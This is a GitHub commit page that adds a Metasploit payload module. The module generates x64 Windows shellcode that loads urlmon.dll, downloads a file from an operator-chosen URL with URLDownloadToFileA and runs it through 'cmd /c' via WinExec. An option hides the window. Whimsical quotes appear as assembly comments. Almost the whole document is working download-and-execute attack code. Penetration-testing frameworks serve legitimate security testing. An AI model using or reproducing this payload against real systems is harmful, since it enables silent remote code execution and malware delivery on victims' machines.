Skip to content

Commit a412070

Browse files
authored
Create download_exec.rb
1 parent 60a6658 commit a412070

File tree

1 file changed

+129
-0
lines changed

1 file changed

+129
-0
lines changed
Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
include Msf::Payload::Single
8+
include Msf::Payload::Windows
9+
include Msf::Payload::Windows::BlockApi_x64
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Windows Download Execute',
16+
'Description' => 'Downloads and executes the file from the specified url.',
17+
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
18+
'License' => MSF_LICENSE,
19+
'Platform' => 'win',
20+
'Arch' => ARCH_X64
21+
)
22+
)
23+
24+
display_options = %w[HIDE SHOW]
25+
26+
register_options(
27+
[
28+
OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']),
29+
OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']),
30+
OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options])
31+
]
32+
)
33+
end
34+
35+
def generate(_opts = {})
36+
url = datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg'
37+
file = datastore['FILEPATH'] || 'fox.jpg'
38+
display = datastore['DISPLAY'] || 'HIDE'
39+
40+
payload = %^
41+
cld
42+
and rsp, -16
43+
call main
44+
#{asm_block_api}
45+
46+
main:
47+
pop rbp
48+
call LoadLibrary
49+
db "urlmon.dllK"
50+
; V, is this the land of do-as-you-please?
51+
52+
LoadLibrary:
53+
pop rcx ; rcx points to the dll name.
54+
xor byte [rcx+10], 'K' ; null terminator
55+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
56+
call rbp ; LoadLibraryA("urlmon.dll")
57+
; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher.
58+
59+
SetUrl:
60+
call SetFile
61+
db "#{url}A"
62+
; The Sound of Silence maybe a Careless Whisper?
63+
64+
SetFile:
65+
pop rdx ; 2nd argument
66+
xor byte [rdx+#{url.length}], 'A' ; null terminator
67+
call UrlDownloadToFile
68+
db "#{file}C"
69+
; Never compromise not even in the face of armageddon.
70+
71+
UrlDownloadToFile:
72+
pop r8 ; 3rd argument
73+
xor byte [r8+#{file.length}], 'C' ; null terminator
74+
xor rcx,rcx ; 1st argument
75+
xor r9,r9 ; 4th argument
76+
push rcx ; 5th argument
77+
sub rsp, 8 ; stack alignment
78+
mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')}
79+
call rbp
80+
; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living.
81+
82+
SetCommand:
83+
call Exec
84+
db "cmd /c #{file}F"
85+
86+
Exec:
87+
pop rcx ; 1st argument
88+
xor byte [rcx+#{file.length + 7}], 'F' ; null terminator
89+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')}
90+
xor rdx, rdx ; 2nd argument
91+
^
92+
93+
if display == 'HIDE'
94+
hide = %(
95+
call rbp
96+
; I am vengeance! I am the night! I am Batman!
97+
)
98+
payload << hide
99+
100+
elsif display == 'SHOW'
101+
show = %(
102+
inc rdx ; SW_NORMAL = 1
103+
call rbp
104+
; It's our only home. Our heaven and our hell. This is Outer Heaven.
105+
)
106+
payload << show
107+
end
108+
109+
if datastore['EXITFUNC'] == 'process'
110+
exit_asm = %(
111+
xor rcx,rcx
112+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
113+
call rbp
114+
)
115+
payload << exit_asm
116+
117+
elsif datastore['EXITFUNC'] == 'thread'
118+
exit_asm = %(
119+
xor rcx,rcx
120+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}
121+
call rbp
122+
; She walks in beauty, like the night...
123+
)
124+
payload << exit_asm
125+
end
126+
127+
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
128+
end
129+
end

0 commit comments

Comments
 (0)